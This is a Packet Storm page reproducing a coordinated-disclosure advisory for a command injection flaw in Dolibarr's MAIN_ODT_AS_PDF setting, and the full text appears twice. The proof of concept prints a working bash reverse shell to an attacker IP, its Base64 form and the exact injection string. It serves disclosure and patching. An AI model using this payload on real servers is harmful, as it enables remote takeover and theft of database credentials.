Description
Dolibarr versions 22.0.4 and below suffer from a remote code injection vulnerability via via MAINODTASPDF...
Basic Information
ID
PACKETSTORM:218775
Published
Apr 13, 2026 at 00:00
Affected Product
Affected Versions
# CVE-2026-23500: OS Command Injection (RCE) via MAIN_ODT_AS_PDF configuration in Dolibarr
## Overview
| Field | Details |
|---|---|
| **CVE ID** | [CVE-2026-23500](https://nvd.nist.gov/vuln/detail/CVE-2026-23500) |
| **Severity** | CRITICAL |
| **Advisory** | [GHSA-w5j3-8fcr-h87w](https://github.com/Dolibarr/dolibarr/security/advisories/GHSA-w5j3-8fcr-h87w) |
| **Discovered by** | [Lukasz Rybak](https://github.com/lukasz-rybak) |
## Affected Products
- **Dolibarr/dolibarr** (versions: <= 22.0.4)
- **Patched in:** 23.0
## CWE Classification
- CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
## Details
### Summary
An authenticated administrator can execute arbitrary operating system commands by injecting a malicious payload into the `MAIN_ODT_AS_PDF` configuration constant. This vulnerability exists because the application fails to properly validate or escape the command path before passing it to the `exec()` function in the ODT to PDF conversion process.
### Details
The vulnerability is located in `htdocs/includes/odtphp/odf.php`.
When the system tries to convert an ODT document to PDF (e.g., in Proposals, Invoices), it constructs a shell command using the `MAIN_ODT_AS_PDF` global setting.
Code snippet (`htdocs/includes/odtphp/odf.php`, approx line 930):
```php
$command = getDolGlobalString('MAIN_ODT_AS_PDF').' '.escapeshellcmd($name);
// ...
exec($command, $output_arr, $retval);
```
While the filename `$name` is sanitized using `escapeshellcmd()`, the configuration variable `MAIN_ODT_AS_PDF` is retrieved directly from the database and concatenated at the beginning of the string. An attacker with administrative privileges can set this variable to include a command separator (like `;`) followed by arbitrary commands.
### PoC
**Prerequisites:**
1. Login as an Administrator.
2. Ensure the "Commercial Proposals" module is enabled and "ODT templates" are activated in its setup.
**Steps to reproduce (Reverse Shell):**
1. Start a netcat listener on the attacker's machine (IP: `172.26.0.1`, Port: `4445`):
```bash
nc -lvnp 4445
```
2. Prepare the payload. To avoid issues with special characters (like `&` or `>`) being escaped by the web application or shell, encode the reverse shell command in Base64:
```bash
# Command: bash -c 'bash -i >& /dev/tcp/172.26.0.1/4445 0>&1'
echo "bash -c 'bash -i >& /dev/tcp/172.26.0.1/4445 0>&1'" | base64
# Output: YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMjYuMC4xLzQ0NDUgMD4mMScK
```
3. Navigate to **Home -> Setup -> Other Setup**.
4. Add or modify the constant `MAIN_ODT_AS_PDF` with the following injection payload:
```bash
jodconverter; echo YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMjYuMC4xLzQ0NDUgMD4mMScK | base64 -d | bash
```
*(Explanation: `jodconverter` satisfies the initial check, `;` acts as a command separator, and the pipeline decodes and executes the Base64 payload).*
<img width="1898" height="696" alt="image" src="https://github.com/user-attachments/assets/12e4aa61-eb9d-4342-bd03-9a1e824b8316" />
5. Navigate to **Commerce -> New proposal**, create a draft, select an ODT template (e.g., `generic_proposal_odt`), and click **Generate**.
<img width="1907" height="668" alt="image" src="https://github.com/user-attachments/assets/d790847e-50c1-47eb-994b-b2596b949242" />
<img width="1858" height="346" alt="image" src="https://github.com/user-attachments/assets/afbeb170-d004-49d6-a395-1b4572fbf2e7" />
<img width="848" height="183" alt="image" src="https://github.com/user-attachments/assets/93fbe6c9-96a8-4d0f-ad0e-4aea69f0fec1" />
6. Check the netcat listener. A connection will be established, granting a shell on the server:
<img width="616" height="193" alt="image" src="https://github.com/user-attachments/assets/e90817da-9bb2-4fe1-8377-be10d8640e37" />
### Impact
**Remote Code Execution (RCE).**
An attacker who gains access to an administrator account (or a malicious administrator) can execute arbitrary commands on the underlying server with the privileges of the web server user (typically `www-data`). This allows for:
- Reading sensitive configuration files (database credentials).
- Modifying application code.
- Full system compromise depending on server configuration (e.g., docker escape, pivoting).
---
### Credits
Reported by Łukasz Rybak
## References
- https://github.com/Dolibarr/dolibarr/security/advisories/GHSA-w5j3-8fcr-h87w
- https://nvd.nist.gov/vuln/detail/CVE-2026-23500
## Disclaimer
This CVE was responsibly disclosed following coordinated vulnerability disclosure practices. The information provided here is for educational and defensive purposes only.
## Overview
| Field | Details |
|---|---|
| **CVE ID** | [CVE-2026-23500](https://nvd.nist.gov/vuln/detail/CVE-2026-23500) |
| **Severity** | CRITICAL |
| **Advisory** | [GHSA-w5j3-8fcr-h87w](https://github.com/Dolibarr/dolibarr/security/advisories/GHSA-w5j3-8fcr-h87w) |
| **Discovered by** | [Lukasz Rybak](https://github.com/lukasz-rybak) |
## Affected Products
- **Dolibarr/dolibarr** (versions: <= 22.0.4)
- **Patched in:** 23.0
## CWE Classification
- CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
## Details
### Summary
An authenticated administrator can execute arbitrary operating system commands by injecting a malicious payload into the `MAIN_ODT_AS_PDF` configuration constant. This vulnerability exists because the application fails to properly validate or escape the command path before passing it to the `exec()` function in the ODT to PDF conversion process.
### Details
The vulnerability is located in `htdocs/includes/odtphp/odf.php`.
When the system tries to convert an ODT document to PDF (e.g., in Proposals, Invoices), it constructs a shell command using the `MAIN_ODT_AS_PDF` global setting.
Code snippet (`htdocs/includes/odtphp/odf.php`, approx line 930):
```php
$command = getDolGlobalString('MAIN_ODT_AS_PDF').' '.escapeshellcmd($name);
// ...
exec($command, $output_arr, $retval);
```
While the filename `$name` is sanitized using `escapeshellcmd()`, the configuration variable `MAIN_ODT_AS_PDF` is retrieved directly from the database and concatenated at the beginning of the string. An attacker with administrative privileges can set this variable to include a command separator (like `;`) followed by arbitrary commands.
### PoC
**Prerequisites:**
1. Login as an Administrator.
2. Ensure the "Commercial Proposals" module is enabled and "ODT templates" are activated in its setup.
**Steps to reproduce (Reverse Shell):**
1. Start a netcat listener on the attacker's machine (IP: `172.26.0.1`, Port: `4445`):
```bash
nc -lvnp 4445
```
2. Prepare the payload. To avoid issues with special characters (like `&` or `>`) being escaped by the web application or shell, encode the reverse shell command in Base64:
```bash
# Command: bash -c 'bash -i >& /dev/tcp/172.26.0.1/4445 0>&1'
echo "bash -c 'bash -i >& /dev/tcp/172.26.0.1/4445 0>&1'" | base64
# Output: YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMjYuMC4xLzQ0NDUgMD4mMScK
```
3. Navigate to **Home -> Setup -> Other Setup**.
4. Add or modify the constant `MAIN_ODT_AS_PDF` with the following injection payload:
```bash
jodconverter; echo YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMjYuMC4xLzQ0NDUgMD4mMScK | base64 -d | bash
```
*(Explanation: `jodconverter` satisfies the initial check, `;` acts as a command separator, and the pipeline decodes and executes the Base64 payload).*
<img width="1898" height="696" alt="image" src="https://github.com/user-attachments/assets/12e4aa61-eb9d-4342-bd03-9a1e824b8316" />
5. Navigate to **Commerce -> New proposal**, create a draft, select an ODT template (e.g., `generic_proposal_odt`), and click **Generate**.
<img width="1907" height="668" alt="image" src="https://github.com/user-attachments/assets/d790847e-50c1-47eb-994b-b2596b949242" />
<img width="1858" height="346" alt="image" src="https://github.com/user-attachments/assets/afbeb170-d004-49d6-a395-1b4572fbf2e7" />
<img width="848" height="183" alt="image" src="https://github.com/user-attachments/assets/93fbe6c9-96a8-4d0f-ad0e-4aea69f0fec1" />
6. Check the netcat listener. A connection will be established, granting a shell on the server:
<img width="616" height="193" alt="image" src="https://github.com/user-attachments/assets/e90817da-9bb2-4fe1-8377-be10d8640e37" />
### Impact
**Remote Code Execution (RCE).**
An attacker who gains access to an administrator account (or a malicious administrator) can execute arbitrary commands on the underlying server with the privileges of the web server user (typically `www-data`). This allows for:
- Reading sensitive configuration files (database credentials).
- Modifying application code.
- Full system compromise depending on server configuration (e.g., docker escape, pivoting).
---
### Credits
Reported by Łukasz Rybak
## References
- https://github.com/Dolibarr/dolibarr/security/advisories/GHSA-w5j3-8fcr-h87w
- https://nvd.nist.gov/vuln/detail/CVE-2026-23500
## Disclaimer
This CVE was responsibly disclosed following coordinated vulnerability disclosure practices. The information provided here is for educational and defensive purposes only.